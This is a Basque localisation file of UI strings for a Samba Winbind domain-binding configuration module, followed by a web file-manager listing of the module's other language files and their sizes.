winbind_cmd=$1 domeinura lotu.
winbind_failed=.. huts egin du! Ikusi goiko irteera zergatik dagoen.
winbind_ok=.. osatu.

bind_title=Winbind aukerak
bind_ecannot=Ezin duzu winbind aukerak editatu
bind_header=Windows domeinua lotzeko aukerak
bind_local=Gaitu Winbind tokiko kontuetarako?
bind_trust=Fidatu domeinuko zerbitzariaren erabiltzaileekin?
bind_users=Erabiltzaileen zerrenda debekatu?
bind_groups=Eztabaidatu taldeen zerrenda?
bind_defaultdomain=Beti erabili domeinu lehenetsia?
bind_realm=Kerberos erreinua domeinuko zerbitzarian
bind_cache=Segundoak erabiltzailearen xehetasunak gordetzeko
bind_uid=Windows erabiltzaileentzako UIDak sorta
bind_gid=Windows taldeentzako GID sorta
bind_backend=Kontuen mapak egiteko LDAP backend
bind_err=Ezin izan da Winbind aukerak gordetzea
bind_erealm=Kerberos eremua baliogabea
bind_ecache=Falta da edo cache denbora baliogabea
bind_euid=UID barruti baliogabea - 20000-30000 bezalakoa izan behar du
bind_egid=GID barruti baliogabea - 20000-30000 bezalakoa izan behar du

manual_title=Editatu Konfigurazio fitxategia
manual_desc=Samba konfigurazio fitxategia editatzen $1 ..
manual_err=Ezin izan da konfiguratu fitxategia gordetzean
manual_edata=Ez da ezer sartu!

delete_err=Ezin izan da akzioak ezabatu
delete_enone=Ez da hautatu

Filemanager

Name Type Size Permission Actions
af.auto File 26.62 KB 0644
ar.auto File 35.8 KB 0644
be.auto File 42.57 KB 0644
bg File 44.3 KB 0644
bg.auto File 96 B 0644
ca File 28.71 KB 0644
ca.auto File 95 B 0644
cs File 27.76 KB 0644
cs.auto File 1.65 KB 0644
da File 1.04 KB 0644
da.auto File 25.41 KB 0644
de File 28.99 KB 0644
de.auto File 55 B 0644
el.auto File 47.47 KB 0644
en File 24.67 KB 0644
es File 21.56 KB 0644
es.auto File 8.6 KB 0644
eu.auto File 28.49 KB 0644
fa File 38.36 KB 0644
fa.auto File 3.49 KB 0644
fi.auto File 28.32 KB 0644
fr File 30 KB 0644
fr.auto File 1.62 KB 0644
he.auto File 32.99 KB 0644
hr.auto File 27.86 KB 0644
hu File 24.73 KB 0644
hu.auto File 6.21 KB 0644
it File 17.33 KB 0644
it.auto File 8.57 KB 0644
ja File 28.5 KB 0644
ja.auto File 4.98 KB 0644
ko File 20.87 KB 0644
ko.auto File 9.35 KB 0644
lt.auto File 29.87 KB 0644
lv.auto File 28.33 KB 0644
ms.auto File 27.06 KB 0644
mt.auto File 28.42 KB 0644
nl File 27.5 KB 0644
nl.auto File 173 B 0644
no File 26.64 KB 0644
no.auto File 51 B 0644
pl File 26.3 KB 0644
pl.auto File 2.74 KB 0644
pt.auto File 29.52 KB 0644
pt_BR File 28.44 KB 0644
pt_BR.auto File 1.35 KB 0644
ro.auto File 29.54 KB 0644
ru File 43.94 KB 0644
ru.auto File 248 B 0644
sk.auto File 29.48 KB 0644
sl.auto File 27.79 KB 0644
sv File 18.55 KB 0644
sv.auto File 9.55 KB 0644
th.auto File 53.24 KB 0644
tr File 28.22 KB 0644
tr.auto File 1.69 KB 0644
uk File 31.41 KB 0644
uk.auto File 11.97 KB 0644
ur.auto File 37.84 KB 0644
vi.auto File 32.12 KB 0644
zh File 16.57 KB 0644
zh.auto File 6.63 KB 0644
zh_TW File 19.7 KB 0644
zh_TW.auto File 3.5 KB 0644